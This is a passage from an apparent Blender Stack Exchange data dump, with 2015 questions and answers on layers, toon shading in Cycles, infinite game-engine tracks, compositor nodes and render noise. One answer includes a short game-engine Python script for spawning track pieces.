  <row Id="33878" PostTypeId="1" AcceptedAnswerId="33879" CreationDate="2015-07-13T05:30:15.853" Score="2" ViewCount="119" Body="&lt;p&gt;I accidentally clicked something, and now my object is on multiple layers. How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="8262" LastEditDate="2015-07-13T05:36:56.083" LastActivityDate="2015-07-13T05:36:56.083" Title="Stop object from being displayed on multiple layers?" Tags="&lt;objects&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33879" PostTypeId="2" ParentId="33878" CreationDate="2015-07-13T05:31:17.630" Score="2" Body="&lt;p&gt;Press &lt;kbd&gt;M&lt;/kbd&gt; and select the layer you want it to be on.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AqDLH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Chances are, what you did, was press &lt;kbd&gt;M&lt;/kbd&gt; and selected multiple layers by holding down &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-13T05:31:17.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33880" PostTypeId="2" ParentId="33871" CreationDate="2015-07-13T08:25:04.153" Score="37" Body="&lt;h1&gt;OSL + Solidify (Irie's Technique)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aV0tD.png&quot; alt=&quot;Irie cel/toon shader on Suzanne&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iyAFj.png&quot; alt=&quot;Irie cel/toon shader on anime girl&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Pros:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The toon shader has seven customizable parameters for creating many different looks&lt;/li&gt;&#xA;&lt;li&gt;Edge strokes taper off with a natural look, like hand-drawn strokes&lt;/li&gt;&#xA;&lt;li&gt;It renders quickly&lt;/li&gt;&#xA;&lt;li&gt;It responds to lighting (can be lit with lamps)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Cons:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Some additional geometry must be generated to create the outlines&lt;/li&gt;&#xA;&lt;li&gt;It won't look right if you make the outlines too thick in the modifier&lt;/li&gt;&#xA;&lt;li&gt;The toon shader does not react to emitter meshes or other non-lamp light sources&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Download &lt;a href=&quot;http://www.blendswap.com/blends/view/67827&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This technique I found demonstrated on BlendSwap by Shinsuke Irie is pretty clever. It uses OSL to get the shading, so make sure you have OSL enabled if you append this into your blends. Also you will need to make one edit to the &quot;toon.osl&quot; script because Blender's code has changed since this file was published: &lt;code&gt;speculartoon()&lt;/code&gt; closure has been renamed to &lt;code&gt;glossytoon()&lt;/code&gt; so just find and replace that text, then refresh the Script node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outlines are generated by a Solidify modifier that has its normals flipped (is back-facing). This part is kind of hackish, but looks good because the strokes taper off to a nice sharp point. You can adjust the edge thickness by adjusting the Solidify modifier's Thickness slider, but only a little, as changing this too drastically gives strange results.&#xA;The object uses both a &quot;Skin&quot; and &quot;Edge&quot; material to achieve the end result. The outline color can be changed in the &quot;Edge&quot; material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you can decide to use Freestyle instead of the Solidify technique, if you prefer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that with the Solidify technique edge thickness is local to the object, but it could be linked to camera distance via a driver so that strokes remain the same thickness even in close-up shots. (This is the case for Freestyle as well.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A look at the customizable parameters in Irie's toon shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p8vcK.png&quot; alt=&quot;Irie toon skin shader parameters&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Conclusion:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This technique can produce very pleasing results! The way edge strokes are generated is a bit unconventional, but it's worth taking a few minutes of studying the .blend to understand how it works. At first I had apprehensions about using a technique that requires a Solidify modifier since extra geometry must be generated, and I wasn't sure if it would cause issues with the deformations of rigged meshes. But then I found &lt;a href=&quot;https://www.youtube.com/watch?t=35&amp;amp;v=0KLRD_ZPNcQ&quot; rel=&quot;noreferrer&quot;&gt;this video&lt;/a&gt; demonstrating this technique used in production on an animated character and I am convinced this is the best way to do toon shading in Cycles at this time.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-07-13T08:54:05.287" LastActivityDate="2015-07-13T08:54:05.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33882" PostTypeId="1" AcceptedAnswerId="33886" CreationDate="2015-07-13T09:08:38.627" Score="0" ViewCount="970" Body="&lt;p&gt;We have a project in school either we make an animation or game so I decided I would like to make a game like temple run. How do i make the infinite landscape and any suggestion? Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="2022" LastActivityDate="2015-07-13T15:17:37.527" Title="How to make an infinite landscape or the floor like in games like temple run in blender game engine?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33883" PostTypeId="1" CreationDate="2015-07-13T09:43:28.617" Score="2" ViewCount="132" Body="&lt;p&gt;I'm trying to achieve photorealistic renders with Image Based Lighting + lamps that should effect the scene locally - only the surfaces around them. In this particular case, the first render was made with IBL + only the one spotlight lighting the logo on the wall: with 60 samples I get close to the result I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bCvSX.jpg&quot; alt=&quot;Only IBL + 1 spotlight: with 60 samples very close to what I want&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, rendering with the rest of the lamps, 1-2 hundreds of point lights that should only effect the surfaces immediately around them (to achieve that I have set their max bounces to &quot;0&quot;) noise gets totally out of control in the area lit by the spotlamp. The area lit by the spotlamp, the wall with the logo, should not be effected at all by the rest of the lamps, only by the spot and the IBL, so I wonder why the noise?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wBg9X.jpg&quot; alt=&quot;IBL + the same spotlight + 1-2 hundred other lights that are not supposed to effect this surface at all: 60 samples, noise totally out of control&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can reduce noise taking advantage of the fact that, although I have many lamps, I only need them to have a limited, local effect on the scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attach two more images to help you understand the scene.&#xA;I use cycles, blender 2.75&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oXj4B.jpg&quot; alt=&quot;Scene wireframe&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ry7r.jpg&quot; alt=&quot;Scene textured&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5200" LastActivityDate="2015-07-13T09:43:28.617" Title="How do I make lamps effect scene locally only to reduce noise?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;&lt;noise-reduction&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="33884" PostTypeId="1" AcceptedAnswerId="33885" CreationDate="2015-07-13T09:43:44.543" Score="4" ViewCount="1116" Body="&lt;p&gt;New to Blender. How to add additional inputs to the file output node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post doesn't explain:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/28740/how-can-i-render-all-render-passes-to-files-in-cycles?rq=1&quot;&gt;How can I render all render passes to files in Cycles?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15614" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-07-13T09:50:44.267" Title="How can I add inputs to a file output node?" Tags="&lt;rendering&gt;&lt;interface&gt;&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33885" PostTypeId="2" ParentId="33884" CreationDate="2015-07-13T09:50:24.050" Score="5" Body="&lt;p&gt;Click the &lt;em&gt;Add Input&lt;/em&gt; button in the properties panel (&lt;kbd&gt;N&lt;/kbd&gt;) when the file output node is selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ybu8V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-13T09:50:24.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33886" PostTypeId="2" ParentId="33882" CreationDate="2015-07-13T11:14:56.877" Score="1" Body="&lt;p&gt;i did something similar in a car game. (Infinite road) If you want to you can download the blend and see how i did it. The file of the Track generator is: TrackGenerator.py&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea behind the concept is, that you create all kind of objects with the same start and ending. So they have seamless connections. Than you add a new random object when the player gets close enough to the end of your path (or in my case the end of the road).&lt;br&gt;&#xA;To controll where to add the next part of the track I created an empty. This empty always is at the end of the path. It is also the object where the script is connected to.&lt;br&gt;&#xA;Alway when a new track part is added this empty gets an new Position and orientation. To get this information you need an other empty which is parented to each end of a track part. (those parented objects will automaticly  be added to your scene if you add the track Part, you than can acces them by writing: &lt;code&gt;trackpart.children[0]&lt;/code&gt;).&lt;br&gt;&#xA;you also need to make shure that the origine of the trackPart objects is at the beginning of the trackPart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is an overview what the script does:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it chooses any random trackPart&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it adds this part at the and of the Track (with the help of the empty)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;than it repositions the empty to the new end of the track.(with the help of the children from the trackPart)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and than it will wait until the player is relativly lose to the end of the track. When he is close enough it will repeat the Process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the code :&#xA;&lt;pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;code&gt;from bge import logic as l&#xA;from random import randint&#xA;&#xA;def main(co):&#xA;    trackGenerator = co.owner&#xA;    scene = l.getCurrentScene()&#xA;    auto = scene.objects[&quot;auto&quot;]&#xA;    if trackGenerator[&quot;trackLenght&quot;] &amp;lt; auto[&quot;distanz&quot;] + 40:&#xA;        trackNr = randint(0,anzahlanTracks()-1)&#xA;        spawnNext(trackNr, trackGenerator)&#xA;&#xA;def spawnNext(type, trackGenerator):&#xA;    scene = l.getCurrentScene()&#xA;    name = &quot;TrackPart_&quot; + str(type)&#xA;    nextTrackPart = scene.objectsInactive[name]&#xA;    next = scene.addObject(nextTrackPart, trackGenerator)&#xA;    trackGenerator.worldPosition = next.children[0].worldPosition&#xA;&#xA;    print(&quot;size &quot;,next[&quot;size&quot;],&quot;   trackLenght: &quot;, trackGenerator[&quot;trackLenght&quot;])&#xA;    trackGenerator[&quot;trackLenght&quot;] = trackGenerator[&quot;trackLenght&quot;] + next[&quot;size&quot;]&#xA;&#xA;def anzahlanTracks():&#xA;    scene = l.getCurrentScene()&#xA;    name = &quot;TrackPart&quot;&#xA;    anzahl = 0&#xA;    for o in scene.objectsInactive:&#xA;        #TrackPart_&#xA;        if o.name[0:10] == &quot;TrackPart_&quot;:&#xA;            anzahl += 1&#xA;    return anzahl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need more information to understand just ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/9xiy468htwgmiq7/2D%20carGame.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;CarGame with infinite Road&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15497" LastEditorUserId="15497" LastEditDate="2015-07-13T15:17:37.527" LastActivityDate="2015-07-13T15:17:37.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33887" PostTypeId="2" ParentId="33871" CreationDate="2015-07-13T11:51:48.110" Score="18" Body="&lt;p&gt;&lt;strong&gt;Cycles's Toon BDSF + Hard Shadows + 0 Diffuse Bounces:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Result&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L9mqk.png&quot; alt=&quot;suzanne lit by a sun lamp&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Process&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Part one, two color shading&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In order to avoid a non clear-cut two-color shading and at the same time make the material react directly to lighting i think the best compromise is to abandon soft shadows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting a very low size of the lamp will make the toon shader react with a clear cut shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following node setup allows to control the color of the &quot;darkness color&quot; with an emission shader (in blue), upon which we'll add a layer of diffuse toon (red):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JuzRF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first image, the two colors were substitute with two different shades of grey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the beginning you saw susanne lit by a sun lamp. Below that's a try with a point lamp:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W725r.png&quot; alt=&quot;suzanne lit by a point lamp&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Part two, no reaction to diffuse&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We now must face the diffusion part. Infact, by setting a small size of the lamp we actually achieve only this kind of result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3yrIL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a red diffuse semisphere to the scene to control the interaction between susanne and other object. We see that susanne receives indirect light by both the sphere and the plane (and the environment) that ruin our shader's darkness color. We need that flat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid this interaction, we can set the maximum diffuse light bounces of the scene to 0 in the &quot;light path&quot; tab.This obiuvsly means that we'll lose a bit of realism to the scene.&#xA;Now Cycles looks more similar to BI...but, at any rate, we keep all other features intact (see glossy blurry reflection in the second hemisphere).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3qTj5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid diffuse interaction with the world background the only solution I came up with was to remove it (or set its strength to 0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Summary&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use that node sutup&lt;/li&gt;&#xA;&lt;li&gt;Set all lamp size to a small value to obtain hard shadows and hard toon transition&lt;/li&gt;&#xA;&lt;li&gt;Remove background&lt;/li&gt;&#xA;&lt;li&gt;Set diffuse bounces in the &quot;light path&quot; tab to 0&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Pros&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Simple node setup&lt;/li&gt;&#xA;&lt;li&gt;React directly to lighting&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Cons&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Only hard shadows&lt;/li&gt;&#xA;&lt;li&gt;0 Diffuse bounces affect all the scene!&lt;/li&gt;&#xA;&lt;li&gt;No background&lt;/li&gt;&#xA;&lt;li&gt;Shadow color &amp;amp; Diffuse color are not indipendent&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's a example of usage in a scene with multiple characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yczJJ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yczJJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2017-04-14T20:34:34.330" LastActivityDate="2017-04-14T20:34:34.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33889" PostTypeId="1" CreationDate="2015-07-13T12:06:52.527" Score="1" ViewCount="2654" Body="&lt;p&gt;Any quick thoughts why the render through camera viewport (right) looks completely different to the on-screen render (left)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zM3Xs.jpg&quot; alt=&quot;rendered image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14207" LastEditorUserId="3710" LastEditDate="2015-07-13T12:22:03.297" LastActivityDate="2015-07-13T12:33:46.500" Title="Render looks different to screen view" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33891" PostTypeId="2" ParentId="33889" CreationDate="2015-07-13T12:33:46.500" Score="1" Body="&lt;p&gt;Could be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you have changed the &quot;exposure&quot; in the &quot;Film&quot; panel the Render Tab&#xA;and you have not re-rendered yet (i don't think is the case anyway)&lt;/li&gt;&#xA;&lt;li&gt;there is a lamp, or a plane, or something that is hidden in the viewport but is still marked as&#xA;&quot;rendered&quot; as seen in the screenshot below:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EIrsL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-07-13T12:33:46.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33892" PostTypeId="1" CreationDate="2015-06-15T23:21:22.373" Score="1" ViewCount="864" Body="&lt;p&gt;When I export object as it is - in Right handed system, everything exports fine. When I try to export to use object in Left handed system, I set Z-forward when exporting and now interesting things happen. It flips Z axis as would every sane person expect, however it also flips X-axis. &lt;/p&gt;&#xA;" OwnerDisplayName="user1760770" LastEditorUserId="2217" LastEditDate="2015-07-15T12:36:01.033" LastActivityDate="2015-07-15T20:54:52.583" Title="Blender reverses X-axis when exporting Z-forward" Tags="&lt;export&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33893" PostTypeId="1" AcceptedAnswerId="33896" CreationDate="2015-07-13T13:01:59.367" Score="2" ViewCount="758" Body="&lt;p&gt;I would like to build an automatic generated video engine on a server.&#xA;The process would look like this : &#xA;renderblendfile (images on server disk ,Mp3 file on server disk) ----» video&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blend file would be a pattern animated scene where only the images and soundtrack would change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if it would be possible to build such an engine by using blender programmatically using python api?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15618" LastActivityDate="2015-07-13T15:39:44.903" Title="Is it possible to programmaticaly render video from a blender pattern animated scene with images and mp3 as parameters?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33894" PostTypeId="1" CreationDate="2015-07-13T13:04:57.800" Score="3" ViewCount="2117" Body="&lt;p&gt;I have an image rendered, and its showing in the Blender Render window.&#xA;In the compositior, i have a file output node set up to write out .tif files for each render pass. Can i somehow execute just the node tree without having to re-render my image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so the proposed answer said:&#xA;&quot;Delete the renderlayer node from the node setup, and then blender won't render the 3D scene.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feeling stupid here, but, if i remove the renderlayer node, then my file output node won't have any inputs anymore. It's direclty connected to the passes of the renderlayer node to output each pass as a .tif file.&#xA;Secondly, what button do i have to press to then execute only the compositor nodes??&lt;/p&gt;&#xA;" OwnerUserId="15614" LastEditorUserId="15614" LastEditDate="2015-07-13T15:07:44.117" LastActivityDate="2015-07-13T17:00:25.733" Title="Can i &quot;execute&quot; the Compositor node graph without re-rendering?" Tags="&lt;rendering&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33895" PostTypeId="1" AcceptedAnswerId="33909" CreationDate="2015-07-13T13:10:46.870" Score="1" ViewCount="1183" Body="&lt;p&gt;I am noticing quite some jaggy edges in my renders. I don't see AA options when using Cycles. Increasing the samples only seems to reduce noise.&#xA;The images show the problem areas marked. They are using different sample settings, but the edges are exactly the same.&#xA;You might have to download and zoom in to see better.&#xA;With &quot;samples&quot; i am referring to the samples in the properties window of the render tab (properties-&gt;render-&gt;sampling). First picture was using 24 with &quot;square samples&quot; checked, second one was using 300 samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F8xS5.png&quot; alt=&quot;Sampling24&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9eFiv.png&quot; alt=&quot;Sampling300&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a zoomed version, 200%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LjXFa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15614" LastEditorUserId="47" LastEditDate="2015-07-13T17:40:11.687" LastActivityDate="2015-07-14T18:37:48.403" Title="Improving AA in Cycles / Removing jaggies" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33896" PostTypeId="2" ParentId="33893" CreationDate="2015-07-13T13:17:16.110" Score="0" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can load a blender instance from command line and pass it arguments, and execute a script inside blender to change images / audio files, and then render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your scenario describes it adequately:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make a template blend file with placeholder audio file (a click track, whatever..)&lt;/li&gt;&#xA;&lt;li&gt;add placeholder images (test screens for example, with numbers to allow you to debug&lt;/li&gt;&#xA;&lt;li&gt;write the script that takes arguments (location of images, location of mp3)&lt;/li&gt;&#xA;&lt;li&gt;execute from command line&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm sure if you provide such a representative template .blend file one of us would probably give you a hand writing the script to change out the audio and image files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can script the entire animation, while starting blender from console with an empty .blend file (but with the script preloaded to accept a directory of images / audio ), this is also easy enough if you know Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this answer for an introduction to &lt;a href=&quot;https://blender.stackexchange.com/questions/1365/how-can-i-run-blender-from-command-line-or-a-python-script-without-opening-a-gui?rq=1&quot;&gt;commandline blender (no gui needed)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-07-13T15:39:44.903" CommentCount="5" CommunityOwnedDate="2015-07-13T16:28:23.487" ContentLicense="CC BY-SA 3.0" />
  <row Id="33897" PostTypeId="1" AcceptedAnswerId="33902" CreationDate="2015-07-13T13:17:31.197" Score="18" ViewCount="8733" Body="&lt;p&gt;I am really confused with the different uses of the terms &quot;Layers&quot; and &quot;Passes&quot; in Blender.&lt;br&gt;&#xA;Can someone please explain how they work in Blender. I know about Render Passes like AO, Diffuse and so on, but there seems to be a confusion with layers.&lt;br&gt;&#xA;Also, how do the layer buttons work in the properties panel like in the image shown? I get it that you can assign objects onto certain layers, but whats the difference between &quot;Scene&quot; and &quot;Layer&quot; buttons in the image?&#xA;How do they refer to rendering?&#xA;How can you see what layer a certain object is on?&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/G2g5D.png&quot; alt=&quot;LayersScreenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15614" LastEditorUserId="2217" LastEditDate="2015-07-13T14:51:34.280" LastActivityDate="2017-12-07T16:11:24.653" Title="Can someone explain the layer system?" Tags="&lt;render-layers&gt;&lt;layers&gt;&lt;render-passes&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33899" PostTypeId="1" CreationDate="2015-07-13T14:15:36.763" Score="0" ViewCount="307" Body="&lt;p&gt;Is it possible to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=t0lcSHYiOJg&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=t0lcSHYiOJg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with two video sequences in the video editor or elsewhere in Blender?&lt;/p&gt;&#xA;" OwnerUserId="15576" LastActivityDate="2018-04-30T13:47:19.820" Title="Can Blender take two video files and morph one into the other?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33900" PostTypeId="1" CreationDate="2015-07-13T14:22:55.020" Score="3" ViewCount="447" Body="&lt;p&gt;I'm Vertex Painting an object that is has small depressions and bumps. When I make a stroke from some angle, there seem to be a bunch of vertices that don't receive the stroke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following image, I painted a stroke in the top-right panel. It looks a smooth swath was painted, but as can be seen from the other views, many vertices were missed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W710r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to configure the brush to avoid missing vertices in a situation like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. Not sure if it's relevant, but I'm painting with exact colours (i.e. I set the brush curve shape to constant, to be sure that the colour on my brush is the colour that actually makes it on the mesh).&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2015-07-13T14:29:22.780" LastActivityDate="2015-07-15T14:50:23.880" Title="Vertex Paiting slightly hidden parts of the mesh" Tags="&lt;vertex-paint&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33902" PostTypeId="2" ParentId="33897" CreationDate="2015-07-13T15:03:43.913" Score="20" Body="&lt;h2&gt;Layers&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Layers are a way of splitting up and organizing the objects in your scene.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 3D viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can select the currently visible layers in the footer of the 3D view or under &lt;em&gt;properties&lt;/em&gt; panel &gt; &lt;em&gt;render layers&lt;/em&gt; tab &gt; &lt;em&gt;layer&lt;/em&gt; rollout &gt; &lt;em&gt;scene&lt;/em&gt; layer selector.  (With any layer selector you can hold down &lt;kbd&gt;Shift&lt;/kbd&gt; to select multiple layers.)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HQJbm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see what layers have objects on them by the dots in the layers' boxes, layers containing selected objects will have an orange dot.  You can move the slected objects to a new layer by pressing &lt;kbd&gt;M&lt;/kbd&gt; and selecting the layers you want in the pop-up layer selector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the scene section of the properties Window, there are four sets of layer boxes that control which layers are computed in the render and how:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9YQM4.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9YQM4.png&quot; alt=&quot;enter image description 